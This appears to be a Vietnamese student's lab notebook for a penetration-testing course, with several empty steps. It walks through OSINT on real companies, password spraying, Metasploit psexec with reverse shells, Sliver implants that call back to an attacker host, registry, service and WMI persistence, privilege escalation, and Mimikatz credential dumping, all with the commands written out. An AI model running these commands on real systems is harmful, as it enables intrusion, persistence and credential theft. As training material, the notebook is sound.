## Lab 1: **PenTest Planning, Scoping, and Recon**
### Lab 1.1: Linux for Pentesters
#### Kịch bản
Khách hàng của bạn tại một ngân hàng muốn thực hiện một bài kiểm tra xâm nhập có mục tiêu cao đối với một số hệ thống được chọn. Mục tiêu là xem liệu nhóm quản trị cơ sở dữ liệu có tuân thủ các tiêu chuẩn của công ty hay không. Cuộc kiểm tra cuối cùng, một quét tự động, đã phát hiện ra một số điều đáng ngờ nhưng chưa bao giờ được xác minh.
#### Mục tiêu
- Tìm hiểu thêm về Linux
- Giới thiệu các khái niệm mà chúng ta sẽ đề cập sâu hơn sau này
- Cách một pen tester có thể tận dụng các điều khiển hệ thống hiện có
- Thực hiện trinh sát mạng
- Cơ bản về leo thang đặc quyền
- Cơ bản về pivoting
Chạy lệnh sau để khởi tạo bài lab:
```
sudo pivotlab.sh
```

#### Thực hành
1. Survey the network
Kiểm tra ip container và thực hiện ping kiểm tra

2. Connect to host
Một thành viên trong nhóm của chúng tôi đã xâm nhập thành công một máy chủ khác. Để giúp chúng tôi bắt kịp tiến độ, họ đã thiết lập một tài khoản người dùng (sec560) và tạo một reverse shell liên tục để cố gắng kết nối lại với listener của chúng tôi.

3. Explore the pivot system









4. Conduct a local privilege escalation


5. Connect to the ops-team

6. Connect in with bob's credentials
7. Plant the victory file
7. Plant the victory file

### Lab 1.3: Reconnaissance and OSINT
1. Infrastructure Recon and Clif Bar
Xem xét Clif Bar & Company để tìm hiểu xem có những hệ thống nào đang hoạt động
Clif Bar (lưu ý rằng chỉ có một chữ "f", không phải hai) có trụ sở tại Hoa Kỳ, chúng ta cần truy cập vào tổ chức đăng ký miền Bắc Mỹ, ARIN. Hãy mở trình duyệt và truy cập arin.net
Kết quả tương tự như hình bên dưới. Lưu ý rằng có hai "handle".
• Handle đầu tiên (CB-1280) dành cho địa chỉ IPv6.
• Handle thứ hai (CB-1359) dành cho địa chỉ IPv4.
Ta chọn vào handle thứ hai, CB-1359


2. DNS Recon and Clif Bar
Sử dụng lệnh dưới đây, chỉ định tên miền mục tiêu (-d) và máy chủ phân giải tên miền (-n 8.8.8.8).
dnsrecon -d clifbar.com -n 8.8.8.8
Kết quả thu được.

Clif Bar sử dụng ProofPoint làm dịch vụ lọc email. Ngoài ra, kết quả hiển thị một số dịch vụ mà họ sử dụng, bao gồm Dropbox. Cuối cùng, bản ghi SPF TXT bao gồm spf.protection.outlook.com, điều này cho thấy rằng họ sử dụng M365. Tất cả những thông tin này có thể hữu ích cho các cuộc tấn công lừa đảo (phishing) nhắm vào các email có vẻ như đến từ một trong những tổ chức đó.
Có một số địa chỉ IP và bản ghi DNS không thuộc sở hữu của Clif Bar. Hãy tìm hiểu kỹ hơn bằng cách sử dụng tùy chọn -w

Nhìn vào các tên (Amazon, Proofpoint, Pulsant) và các dải địa chỉ IP ở trên, chúng ta không thấy dải địa chỉ được ARIN xác định. DNSRecon không tìm thấy bất kỳ địa chỉ IP nào trong dải mà chúng ta đã tìm thấy với ARIN (12.158.85.248/29).
Thực hiện lệnh sau
dnsrecon -n 8.8.8.8 -r 12.158.85.248/29
Dưới đây kết quả

3. DNSDumpster.com and SANS.org
Vào https://dnsdumpster.com và tìm kiếm sans.org
Kết quả

Chúng ta có thể thấy một khối dành cho AMAZON-AES trong biểu đồ. Chủ sở hữu khối này có thể chính là mục tiêu, điều này làm tăng khả năng các máy chủ nằm trong phạm vi kiểm thử thực tế.
Bên phải, chúng ta thấy một bản đồ thế giới. Nó cho thấy rằng các địa chỉ IP chủ yếu nằm ở Hoa Kỳ, vì vậy khi thực hiện kiểm thử xâm nhập, chúng ta cần tuân thủ luật pháp Hoa Kỳ
Phía dưới, chúng ta sẽ thấy danh sách các máy chủ DNS

Khi cuộn xuống thêm, có thể thấy các bản ghi DNS của sans.org, trong đó có một số tên trùng khớp với kết quả tìm thấy bằng công cụ dnsrecon. Điều này giúp xác định thêm các tên và địa chỉ thuộc các khối IP khác
4. Shodan and Service Provider Corporation
Truy cập Shodan.io và tìm kiếm từng mạng của SANS bằng các truy vấn sau:
• net:45.60.31.0/24
• net:18.173.128.0/21
Chúng ta có thể thấy tất cả các máy chủ mà Shodan biết trên mạng này:

Chọn một mạng và ta tìm được 1 số thông tin như dưới đây

Trong ví dụ trên, chúng ta thấy rằng máy chủ đang lắng nghe trên 2 cổng 80 và 443. Ngoài ra, chúng ta có thể thấy phần mềm máy chủ web là CloudFront. Nếu chúng ta tìm thấy một lỗ hổng trong phần mềm này, chúng ta có thể nhanh chóng tìm ra các hệ thống tương tự mà không cần gửi bất kỳ gói tin nào đến mục tiêu!
5. Hunter.io and the Green Bay Packers
Mở một tab trình duyệt và truy cập vào hunter.io. Nhập tên miền của đội bóng bầu dục Green Bay Packers, và thực hiện tìm kiếm.

Chúng ta có thể thấy rằng định dạng email là họ đầy đủ (lastname/surname) theo sau bởi chữ cái đầu tiên của tên (firstname/given name). Các tổ chức khác có thể sử dụng một định dạng email khác.
6. LinkedIn and the Green Bay Packers
LinkedIn.com là một nguồn tài nguyên tuyệt vời để trinh sát (reconnaissance), chúng ta có thể sử dụng toán tử site: để giới hạn tìm kiếm trên linkedin.com/in. Tìm kiếm bên dưới sẽ tìm Green Bay Packers trên LinkedIn.
Trong danh sách kết quả bên dưới, chúng ta có thể thấy một số người dùng, bao gồm Cố vấn Tổng hợp và Quản lý Nhân sự hoặc tuyển thủ, …

7. Recon and OSINT for Hiboxy.com
Mở trình duyệt web và truy cập digitaltrufflehogs.com. Có một bài đăng từ ngày 11 tháng 1 năm 2023 đề cập đến vụ rò rỉ này.

Bài đăng cho biết rằng người dùng Twitter @MandoFan87 đã đăng một bản sao của dữ liệu bị rò rỉ lên Twitter. Hãy truy cập Twitter và kiểm tra xem chúng ta có thể tìm thấy bài đăng đó không.
Mở trình duyệt web và truy cập https://twitter.com/MandoFan87. Tuy nhiên ta thấy tài khoản này đã bị xóa

Wayback Machine của Archive.org không tự động lưu trữ mọi tài khoản Twitter, nhưng khi nó có, tài khoản đã lưu trữ có thể chứa ảnh hồ sơ cũ, thông tin tiểu sử và thậm chí cả những tweet đã bị xóa.
Hãy mở một tab mới trên trình duyệt web và truy cập archive.org. Sao chép và dán https://twitter.com/MandoFan87 vào thanh tìm kiếm của Wayback Machine, sau đó nhấn Enter

Đường dẫn này có các bản ghi vào năm 2023 và 2024

Chọn bản ghi ngày 11 tháng 1 năm 2023: https://web.archive.org/web/20230111225318/https://twitter.com/MandoFan87
Bản ghi này có 1 tweet về file mega.nz

Mở link trong tweet: https://mega.nz/file/QaNjiDqL#ztZXbSXHVVaFcQBguz8lCGSyzFsUXozLhvL4HXLgZMU ta có kết quả

Tải về và ta có thể sử dụng các thông tin qua trọng này cho tấn công đoán mật khẩu sau này
### Lab 1.5: Masscan
1. Scan Preparation

2. Initial Scan


3. Converting the scan to XML

4. Grepable Format
Trích xuất định dạng grepable (sử dụng -oG) từ định dạng nhị phân, lưu tệp dưới dạng full.grep bằng lệnh
`masscan --readscan ~/labs/full.masscan -oG /tmp/full.grep`

Tiếp theo, sử dụng grep để tìm tất cả các dịch vụ DNS đang lắng nghe trên Port 53 bằng lệnh
`grep -w 53/open /tmp/full.grep`

Có thể nhanh chóng thấy rằng có một máy chủ DNS duy nhất đang lắng nghe trên cổng 53. Làm tương tự với cổng 445

Ta tìm thấy 8 Host đang nghe trên cổng 445

5. JSON Format
Trích xuất định dạng JSON (sử dụng -oJ), lưu tệp dưới dạng full.json. bằng lệnh:
`masscan --readscan ~/labs/full.masscan -oJ /tmp/full.json`

6. List Format
Trích xuất định dạng List (sử dụng -oJ), lưu tệp dưới dạng full.json. bằng lệnh:
`masscan --readscan ~/labs/full.masscan -oL /tmp/full.txt`

Sử dụng grep để tìm tcp 22 để xem kết quả trên cổng 22. Bằng lệnh
`grep -w 'tcp 22' /tmp/full.txt`

Ở đây chúng ta có thể thấy các hệ thống có cổng ssh đang mở và banner được liên kết với máy chủ SSH của mỗi hệ thống.
Sử dụng grep một lần nữa để tìm các hệ thống đang lắng nghe trên cổng 25 (SMTP).
`grep -w 'tcp 25' /tmp/full.txt`

Kết quả cho biết tên của máy chủ là mail01.hiboxy.com
7. Extracting Live Hosts and Ports
Hãy sử dụng grep để tìm tất cả các dòng bắt đầu bằng open tcp. Để thực hiện việc này, bạn sẽ cần sử dụng dấu mũ (^) với grep để neo tìm kiếm vào đầu dòng.
`grep '^open tcp' /tmp/full.txt`

Nếu chúng ta muốn Port, chúng ta có thể sử dụng lệnh cut với dấu cách làm dấu phân cách (-d) và chọn trường thứ tư để lấy địa chỉ IP hoặc trường thứ ba để lấy Port. Sau đó, chúng ta có thể chuyển kết quả vào sort -u (sắp xếp, duy nhất) để lấy địa chỉ IP hoặc Port duy nhất bằng lệnh:
`grep '^open tcp' /tmp/full.txt | cut -d ' ' -f 4 | sort -uV`

Nếu muốn các cổng được sắp xếp theo số, chúng ta có thể sử dụng -n:

### Lab 2.1: Password Guessing
1. Password Spray (SMB)

Đây là một kỹ thuật bruteforce account bằng một mật khẩu phổ biến cùng với một danh sách các username. Điều này khác với việc bruteforce thông thường là thử nhiều mật khẩu trên một username, nhằm tránh việc khóa tài khoản khi đăng nhập sai nhiều lần.
Sử dụng kỹ thuật này để tìm kiếm account trên giao thức SMB (chia sẻ file trong mạng LAN). Workgroup của target là hiboxy, đây là một công ty phía Bắc Hoa kỳ, thường sử dụng mật khẩu định dạng mà “mùa” + “năm hiện tại”. Lấy mật khẩu là “Spring2025”
Lệnh: hydra -L /opt/passwords/facebook-f.last-100.txt -p Spring2025 -m workgroup:{hiboxy} 10.130.10.10 smb2

Sau khi brute thì không tìm thấy account nào, thử thay đổi “năm” trên mật khẩu lùi hoặc tiến một đơn vị thì tìm được một account là “alee/Spring2024”

2: The dictionary
Sử dụng wordlist được cung cấp sẵn /opt/passwords/simple.txt. Wordlist này được tạo ra dựa trên format password của hiboxy.

3. Password Guessing (SSH)
Sử dụng hydra để brute force account của user bgreen ( giả định đây là BruceGreen một admin Linux đã được recon từ trước).
Với các options sau:
• -l bgreen: chỉ định username
• -P /opt/passwords/simple.txt : wordlist password
• 10.130.10.10 ssh: ip và giao thức
Lệnh: hydra -l bgreen -P /opt/passwords/simple.txt 10.130.10.10 ssh
Kết quả tìm thấy password là Password1

4. Verifying Access
Sau khi brute force được account admin “bgreen/Password1”, sử dụng account này để login vào service SMB trên các máy khác trong mạng LAN.
Trước hết tìm các máy mở port 445 trong mạng, sử dụng nmap:
nmap -n -Pn -p 445 –open -oA /tmp/smb 10.130.10.0/24, sau đó Lọc ra những ip đang mở port 445


Brute force bằng hydra: hydra -m workgroup:{hiboxy} -l bgreen -p Password1 -M /tmp/smbipserver.txt smb2, có thể thấy cả 3 ip đều sử dụng password trên

5. Breached Credentials

Sử dụng List Credentials đã được phát hiện từ những lab trước đó. List này đã được lưu vào file /opt/passwords/hiboxy-breach.txt
Sử dụng list credentials này để login vào máy DC với câu lệnh: hydra -C /opt/passwords/hiboxy-breach.txt 10.130.10.10 -m workgroup:{hiboxy} smb2

6. Password Spraying all domain users
Sử dụng công cụ GetADUsers.py (nằm trong bộ công cụ Impacket) để extract ra những thông tin user trong DC. Công cụ này sẽ thực hiện truy vấn thông tin trên giao thức LDAP.
Lệnh: GetADUsers.py hiboxy.com/bgreen:Password1 -dc-ip 10.130.10.10 -all | tee /tmp/adusers.txt



### Lab 2.2: Metasploit and Meterpreter
1: Metasploit on Linux
Khởi chạy Metasploit bằng lệnh msfconsole
Tìm module icecast

Chạy lệnh ‘use exploit/windows/http/icecast_header’ để sử dụng module


2: Launch the attack

3: Sessions



4: Meterpreter

5. Shell



6. More Meterpreter Features



7. Keystroke Logging


### Lab 2.3: Sliver
2. Creating a listener and an implant payload




3. Sending the Payload to the Windows system


4. Executing the Payload


5. Interacting with the session

6. Shell

7. Execute Assembly - SharpWMI

### Lab 2.4: Empire
1: Starting Empire


2: Configure a listener




3: Deploy an agent



4: Deploying the stager




5: Active agent



6: Modules

7: Looking for privilege escalation



8: UAC bypass



### Lab 2.5: Payloads
1. Setup Metasploit to receive a connection


2. Metasploit Payloads with MSFVenom


3. Copying the VBS payload to Windows and execute it




4. Creating an MSI payload in an ISO file


5. Download and open ISO and MSI files





6. Sliver and Payloads


7. Copying and executing the DLL
### Lab 3.1: Windows Privilege Escalation
1. Đăng xuất khỏi Windows
Đăng xuất khỏi Windows. Sau đó đăng nhập lại vào máy Windows bằng các thông tin xác thực sau:
• Username: SEC560STUDENT/notadmin
• Password: notadmin
2. Chạy beRoot.exe
Sử dụng beRoot.exe kiểm tra khả năng thực hiện leo quyền, bằng lệnh:
```
cd C:\Tools\beRoot.exe
beRoot.exe
```

3. Xem kết quả của beRoot.exe
beRoot.exe cung cấp phản hồi ngay lập tức và sẽ hiển thị một số vấn đề tiềm ẩn liên quan đến leo thang đặc quyền.
Công cụ này xác định một vấn đề về đường dẫn dịch vụ không có dấu ngoặc kép với một dịch vụ có tên Video Stream. Dịch vụ này có đường dẫn:
C:\Program Files\VideoStream\1337 Log\checklog.exe
Đường dẫn nhị phân của dịch vụ không có dấu ngoặc kép! Điều này có thể dẫn đến việc khai thác leo thang đặc quyền.

4. Chạy PowerUp1.ps
PowerUp hiện là một phần của PowerShell Empire và là một trong những cơ chế chính được sử dụng để thực hiện leo thang đặc quyền cục bộ.
Đây là một tập lệnh thuần PowerShell, do đó, nó có cơ hội chạy thành công trên máy mục tiêu cao hơn so với beRoot.exe. Trong một số trường hợp, beRoot.exe có thể bị chặn do chính sách kiểm soát ứng dụng, nhưng PowerUp.ps1 có thể chạy mà không gặp vấn đề này.
Chạy PowerUp1.ps bằng lệnh:
```
cd C:\Tools
Import-Module .\PowerUp.ps1
R
```

Kiểm tra kết quả bằng lệnh Invoke-AllChecks

5. Theo dõi kết quả của PowerUp1.ps
Các phát hiện tiềm năng từ PowerUp:
• Đường dẫn dịch vụ không có dấu ngoặc kép đối với dịch vụ Video Stream (đã được beRoot.exe xác định).
• Các lỗ hổng DLL hijacking trong thư mục %PATH%.
• Các lỗ hổng liên quan đến tập tin thực thi dịch vụ và quyền hạn của nó.

6. Theo dõi dịch vụ ‘Video Stream’ trên Services View
Mở services.msc, sau đó trong danh sách dịch vụ, cuộn xuống dịch vụ Video Stream và nhấp đúp vào nó. Ta sẽ thấy các thông tin liên quan đến dịch vụ Video Stream và nhận thấy rằng Đường dẫn đến tệp thực thi (Path to executable) không có dấu ngoặc kép xung quanh

7. Khai thác lỗ hổng bằng PowerUp
PowerUp cung cấp một cách thuận tiện để khai thác các lỗ hổng đã xác định, nó bao gồm một AbuseFunction, giúp dễ dàng sao chép và dán cú pháp để thử khai thác các vấn đề đã xác định.
Để thử điều này với dịch vụ Video Stream dễ bị tổn thương, ta cần cuộn lên một chút để tìm các kết quả được báo cáo đầu tiên và sao chép lệnh AbuseFunction được báo cáo:
```
Write-ServiceBinary -ServiceName 'Video Stream' -Path <HijackPath>
```

8. Sửa HijackPath
Thực hiện khai thác lỗ hổng đường dẫn dịch vụ không có dấu ngoặc kép. Do tệp thực thi thực tế của dịch vụ nằm trong thư mục: C:\Program Files\VideoStream\1337 Log\ và vì không có dấu ngoặc kép xung quanh toàn bộ đường dẫn, Windows cũng sẽ cố gắng thực thi: C:\Program.exe hoặc C:\Program Files\VideoStream\1337.exe
Bây giờ, hãy điều chỉnh "HijackPath" và trỏ nó đến một tệp thực thi mà ta có thể ghi vào:
Write-ServiceBinary -ServiceName 'Video Stream' -Path 'C:\Program Files\VideoStream\1337.exe'

Lệnh PowerUp trên sẽ ghi một tệp thực thi độc hại vào vị trí được chỉ định! Khi chạy AbuseFunction, ta sẽ thấy rằng tệp thực thi được ghi bởi PowerShell sẽ tạo một người dùng có tên john với mật khẩu Password123! Sau đó, người dùng này sẽ được thêm vào nhóm quản trị viên cục bộ (Local Administrators)
9. Reboot
Sau khi hàm PowerShell khai thác đã chạy, hãy kiểm tra xem tệp C:\Program Files\VideoStream\1337.exe có tồn tại hay không. Nếu có, ta cần khởi động lại dịch vụ để tệp thực thi này được chạy với quyền NT AUTHORITY\SYSTEM.
Vì đây là một dịch vụ tự động khởi động, nên ta chỉ cần khởi động lại hệ thống!
10. Đăng nhập lại Windows
Đăng nhập lại vào máy Windows bằng các thông tin xác thực sau:
• Username: SEC560STUDENT/notadmin
• Password: notadmin
11. Xác nhận người dùng đã được them hay chưa
Chạy lệnh net user để kiểm tra nhóm người dùng


### Lab 3.3 Persistence
1. Setup Sliver Server

2. Tạo Sliver Payloads
Ta có thể tạo một định dạng service. Định dạng này sẽ phản hồi đúng cách với bộ điều khiển dịch vụ và sẽ không bị dừng sau 30 giây.
Hãy tạo hai payloads, một cho dịch vụ (service) và một cho tệp thực thi tiêu chuẩn (standard executable) bằng lệnh:
```
generate --os windows --arch 64bit --skip-symbols --format service --name service --http https://10.130.10.128
```

Trong một tình huống kiểm thử xâm nhập thực tế, ta có thể muốn giới hạn quyền truy cập của mình và ngăn payload thực thi sau khi thời gian kiểm thử được cấp phát kết thúc bằng cách sử dụng -w hoặc --limit-datetime
3. Truyền file sang máy Windows
Sau bước 2 ta có 2 file Payloads như ở dưới

Chuyển sang Windows và tải xuống các tệp bằng PowerShell. Sử dụng lệnh:
cd Desktop
wget http://10.130.10.128:8000/payload.exe -OutFile payload.exe

4. Service Persistence
Mở Command Prompt – Run as Administrator trên màn hình Desktop của máy ảo Windows 10. Sử dụng lệnh sc để tạo một dịch vụ có tên là persist. Chạy lệnh sau trong cửa sổ CMD vừa mở:
sc create persist binpath= "c:\Users\sec560\Desktop\service.exe" start= auto

Để kiểm tra cơ chế duy trì, tiến hành khởi động lại máy Windows và sẽ có một phiên Sliver mới trên máy ảo Slingshot Linux

Tương tác với phiên này bằng cách sử dụng hai ký tự đầu tiên của ID phiên bằng lệnh sessions -i. Trong phiên này, ID phiên là cc127896, vì vậy ta sử dụng ID rút gọn cc.

Có thể thấy, dịch vụ chạy với quyền SYSTEM, cho phép ta có mức truy cập cao với cơ chế duy trì này.
Cuối cùng, trên máy Windows, thực hiện dừng và xóa dịch vụ

5. HKCU Run Persistence
Mở cmd thường, chạy lệnh reg dưới đây để tạo key registry cho current user
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "User Persist" /t REG_SZ /F /D "C:\Users\sec560\Desktop\payload.exe"

• reg - lệnh thực thi
• add - thêm một khóa registry
• "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" - vị trí để thêm khóa
• /V "User Persist" - tên khóa (giá trị)
• /t REG_SZ - kiểu dữ liệu (chuỗi)
• /F - ép buộc ghi đè nếu đã tồn tại
• /D "C:\Users\sec560\Desktop\payload.exe" - dữ liệu, tập tin thực thi để chạy
Ta có thể sử dụng HKLM (HKEY Local Machine) thay vì HKCU. Điều này sẽ áp dụng cho bất kỳ người dùng nào đăng nhập vào hệ thống, nhưng yêu cầu quyền nâng cao. Do đó, ta có thể sử dụng HKCU (HKEY Current User) để không cần quyền quản trị.
Kiểm tra tính năng persistence:
• Đơn giản chỉ cần đăng xuất khỏi Windows và đăng nhập lại với tài khoản sec560.
• Khi đăng nhập lại, ta sẽ thấy một phiên mới trong Sliver.

Tương tác với phiên này bằng cách sử dụng hai ký tự đầu tiên của ID phiên bằng lệnh sessions -i. Trong phiên này, ID phiên là 300d768e, vì vậy ta sử dụng ID rút gọn 30.

Tiến hành dọn dẹp và xóa key. Mở lại CMD và chạy lệnh để xóa khóa.
reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "User Persist" /F

Giải thích các tùy chọn của lệnh:
• reg - lệnh thực thi
• delete - xóa một khóa registry
• "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" - vị trí của khóa cần xóa
• /V "User Persist" - tên khóa (giá trị) cần xóa
6. WMI Event Filter Persistence

Bây giờ ta đã thiết lập bộ lọc, chuyển sang Linux, mở một terminal mới và thử đăng nhập bằng smbclient và người dùng fakeuser. Có thể mất một lúc để bộ lọc phát hiện lần đăng nhập nên cần đợi tối đa một phút.
Lệnh:
```
smbclient '\\10.130.10.25\c$' -U fakeuser fakepass
```

Bên sliver server, phiên mới đã được tạo

Tương tác với phiên này bằng lệnh: sessions -i 14

Có thể thấy rằng điều này cung cấp quyền truy cập cấp SYSTEM trên Windows. Nếu ta mất quyền truy cập, tất cả những gì cần làm là cố gắng đăng nhập lại với tài khoản không tồn tại fakeuser để có một phiên mới.
Phương pháp ta sử dụng ở đây là thủ công và có phần phức tạp, nhưng điều quan trọng là phải hiểu những nguyên tắc cơ bản của cách thức hoạt động. Tuy nhiên, có những cách khác để thực hiện việc này dễ dàng hơn:
• Metasploit - sử dụng module windows/local/wmi_persistence
• Empire - sử dụng module persistence/elevated/wmi
Hãy xóa bộ lọc này bằng cách sử dụng cửa sổ PowerShell hiện có.
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%Updater%'" | Remove-WmiObject -Verbose

### Lab 3.4 MSF psexec, hashdumping, and Mimikatz
1. Khởi động Metasploit
Tiến hành khởi động Metasploit

Chọn module khai thác psexec từ Metasploit, module này cho phép làm cho máy mục tiêu chạy payload Metasploit.
Dùng lệnh: use exploit/windows/smb/psexec

Đối với payload, ta sẽ sử dụng Meterpreter với bộ tải reverse_tcp
Dùng lệnh: set PAYLOAD windows/meterpreter/reverse_tcp

Tiếp theo, ta cần chỉ định mục tiêu cho Metasploit để khởi chạy psexec, cụ thể là Web01 với IP 10.130.10.25. Sau đó, ta cần đặt LHOST, nơi reverse_tcp stager sẽ kết nối lại. Hãy đặt nó thành giao diện tun0 của ta.

Cấu hình module khai thác psexec với:
• Domain: hiboxy
• Username: bgreen
• Password: Password1
Tài khoản hiboxy\bgreen thuộc nhóm quản trị viên của máy mục tiêu.Sử dụng lệnh:
set SMBUser bgreen
set SMBDomain hiboxy
set SMBPass Password1

Như ta đã thấy, lệnh show options hiển thị các cài đặt chính của module Metasploit. Tuy nhiên, hầu hết các module đều có nhiều biến bổ sung trong phần cài đặt nâng cao. Ta có thể xem các tùy chọn này bằng cách chạy lệnh show advanced. Hãy thử nào

Ở đây, ta có thể thấy nhiều tùy chọn cho phép chỉ định các thông số như:
• Cổng cục bộ (CPORT) để sử dụng khi thực hiện tấn công.
• Có nên tạo một dịch vụ liên tục (SERVICE_PERSIST) để đảm bảo rằng phiên Meterpreter sẽ tự động được gửi về sau mỗi lần khởi động hệ thống.
• Tên tệp dịch vụ (SERVICE_FILENAME) – đây là biến có thể được đặt thành một tên cụ thể mà tệp tải trọng sẽ được ghi vào trên máy đích để dịch vụ có thể thực thi.
Mặc định, SERVICE_FILENAME sẽ là một chuỗi giả ngẫu nhiên. Để tránh gây chú ý, ta có thể thay đổi nó thành một tên thường gặp trên hệ thống đích, chẳng hạn như svchost
Tuy nhiên, ta sẽ giữ nguyên các tùy chọn này vì chuỗi giả ngẫu nhiên và thời gian thực thi giúp đảm bảo rằng hai dịch vụ có cùng tên khó có thể được cài đặt đồng thời.
Trước khi thực hiện tấn công, hãy kiểm tra lại các cài đặt bằng lệnh show options. Dưới đây là các tùy chọn cho cuộc tấn công

Metasploit thực hiện các bước sau:
• Khởi động một trình xử lý TCP ngược (reverse TCP handler) trên cổng cục bộ 4444, chờ kết nối từ mục tiêu. (Có thể thay đổi cổng bằng cách đặt LPORT).
• Kết nối với máy chủ mục tiêu tại địa chỉ 10.130.10.5 qua cổng 445.
• Xác thực vào máy mục tiêu bằng tài khoản bgreen trong miền hiboxy.
• Nhận diện rằng máy mục tiêu có PowerShell.
• Thực thi tải trọng bằng cách khởi động dịch vụ hoặc chạy lệnh.
• Gửi giai đoạn khai thác tiếp theo lên máy mục tiêu để tải về và chạy.
• Mở phiên Meterpreter, cho phép kiểm soát từ xa máy mục tiêu.
Bây giờ, ta sẽ thấy dấu nhắc lệnh meterpreter >, cho biết phiên khai thác đã thành công.

3. Meterpreter
Chạy getuid để kiểm tra user account

Ta đã có quyền SYSTEM trên máy mục tiêu. Ban đầu, ta sử dụng tài khoản quản trị viên (bgreen) để xác thực và thực thi mã dưới quyền SYSTEM thông qua psexec.
Bây giờ, với phiên Meterpreter, ta sẽ trích xuất các hash mật khẩu từ máy mục tiêu bằng module post/windows/gather/smart_hashdump.
• Module này tự động phát hiện loại hệ thống mục tiêu và trích xuất hash mật khẩu phù hợp.
• Nếu mục tiêu là Domain Controller, nó sẽ thu thập mật khẩu theo cách khác và từ một vị trí khác.
• Điều này giúp lấy được hash từ cả hệ thống cục bộ và miền nếu có.
Kiểm tra thông tin về module bằng lệnh: info post/windows/gather/smart_hashdump

Chạy module trên

Lệnh run post/windows/gather/smart_hashdump đã được chạy để lấy các hash mật khẩu từ hệ thống, nhưng tất cả các NT Hash thu được đều là 31d6cfe0d16ae931b73c59d7e0c089c0, điều này có nghĩa là mật khẩu rỗng. Điều này có thể là do:
• Hash này là một NULL NT Hash, có nghĩa là tài khoản không có mật khẩu hoặc không thể thu thập được theo cách này.
• Module này có thể hoạt động tốt trên một Domain Controller, nhưng với máy trạm thông thường, ta cần thử một phương pháp khác.
Chạy module post/windows/gather/hashdump để thử lấy mật khẩu theo cách khác.

Ta đã thành công lấy được hash từ máy đối phương. Hash này có thể được tận dụng để thực hiện tấn công Pass-the-hash
4. Setup Mimikatz (Kiwi)
Chuyển sang Windows. Ta sẽ tải một số thông tin xác thực của người dùng miền vào bộ nhớ. Ta sẽ giả vờ rằng người dùng bgreen đã đăng nhập vào hệ thống.
Mở CMD và chạy lệnh: runas /user:hibox\bgreen /netonly notepad.exe
Nhập mật khẩu Password1

Lệnh này sẽ mở Notepad dưới tư cách người dùng hiboxy\bgreen.
5. Chạy Mimikatz
Bây giờ ta sẽ nhắm mục tiêu vào hệ thống Windows của mình. Ta sẽ thực hiện việc này trên hệ thống Windows cục bộ để tránh làm ảnh hưởng đến hệ thống mục tiêu.
Mimikatz khá an toàn, nhưng ta cần chuyển sang một tiến trình hệ thống để thực hiện. Nếu nhiều người dùng cùng nhập vào một tiến trình nhạy cảm cùng lúc, nó có thể gây ra sự cố ổn định cho máy chủ.
Thoát khỏi Phiên cũ và thực hiện chỉnh sửa Target như sau:
set LHOST eth0
set SMBUSER sec560
set SMBPASS sec560
unset SMBDomain
set RHOSTS 10.130.10.25

Chạy lệnh show options để kiểm tra lại cấu hình

Chạy run để thực hiện exploit

Kiểm tra cấu hình máy đối phương bằng lệnh sysinfo

Như ta có thể thấy, hệ thống mục tiêu là 64-bit, nhưng quá trình Meterpreter hiện tại là 32-bit. Để thực hiện tác vụ tiếp theo, ta cần chuyển sang một tiến trình SYSTEM 64-bit.
Hãy tìm một tiến trình SYSTEM 64-bit trên hệ thống mục tiêu bằng cách sử dụng lệnh ps. Ta cần tìm các tiến trình 64-bit (-A x64) đang chạy với quyền SYSTEM (-s, chữ thường "s"). Dùng lệnh ps -A x64 -s

Ta sẽ thực hiện Process Migration (di chuyển) vào một tiến trình 64 bit. Khi di chuyển, không nên di chuyển vào bất kỳ tiến trình nào có tên svchost.exe. Trong thực tế, khi chọn một tiến trình để di chuyển vào, hãy nghĩ đến các tiến trình ít gây ảnh hưởng đến hệ thống nếu chúng bị sập. Một lựa chọn phổ biến là spoolsv (Print Spooler), vì nó không cần thiết trên hầu hết các hệ thống.
Dùng lệnh: migrate -N spoolsv.exe

Di chuyển thành công sang 1 tiến trình 64 bit. Việc tiếp theo là load Mimikatz bằng lệnh load kiwi

Chạy help để xem các option có thể sử dụng


Chạy lệnh creds_all để dump hash password

Lấy được các hash password cần thiết để thực hiện pash-the-hash!!!
Chạy Exit để kết thúc Metasploit
### Lab 3.5 Cracking with John the Ripper and Hashcat
1. Benchmark John
Chạy John ở chế độ kiểm tra và thử nghiệm một số loại hàm băm khác nhau để thử xem John có thể bẻ khóa mật khẩu LM nhanh như thế nào

Tiếp tục thử xem John có thể bẻ khóa mật khẩu md5crypt nhanh như thế nào.

2. Cracking Windows hash với John (LM)
Bây giờ, ta sẽ bẻ khóa một số hàm băm trong tệp web01.hashes, tại đường dẫn ~/labs/web01.hashes. Tệp này được cung cấp sẵn
Theo mặc định, John sẽ tập trung vào các hàm băm LM.


John đã phát hiện hàm băm là LM (LANMAN). Lưu ý rằng mật khẩu mà John bẻ khóa được hiển thị TOÀN BỘ BẰNG CHỮ IN HOA. Điều này là do LM tự động chuyển đổi mọi thứ thành chữ in hoa.
Ngoài ra, John bẻ khóa bảy ký tự đầu tiên của mật khẩu LM riêng biệt với bảy ký tự thứ hai, coi mỗi nửa như một mật khẩu khác nhau. Nửa đầu của mật khẩu được đánh dấu bằng username:1, còn nửa thứ hai là username:2.
Ta sẽ thấy rằng mật khẩu của hầu hết các tài khoản (ví dụ: dmckenzie và chkan) đều trống đối với hàm băm LM. Tuy nhiên, vberry có một hàm băm LM, và John đã bẻ khóa nó! Không có người dùng vberry:1 hay vberry:2, mà đây chỉ là hai phần của cùng một mật khẩu. Gộp nửa đầu (1) và nửa sau (2) để có mật khẩu LM đầy đủ:
MIMIGOTKNEINZZG.
Đây là một mật khẩu khá ngẫu nhiên và khó đoán, nhưng do cơ chế lưu trữ của LM quá kém, nên có thể bẻ khóa dễ dàng. LM luôn chuyển đổi mật khẩu thành chữ in hoa rồi chia nó thành hai phần. Điều này giúp John có thể bẻ khóa từng phần mà không cần quan tâm đến việc phân biệt chữ hoa và chữ thường!
Nhấn phím mũi tên lên và chạy lại lệnh. Lưu ý rằng lần chạy thứ hai sẽ không bẻ khóa lại các mật khẩu đã được giải mã trước đó.

Nếu John đã bẻ khóa một mật khẩu, nó sẽ không cố gắng bẻ khóa lại lần nữa.
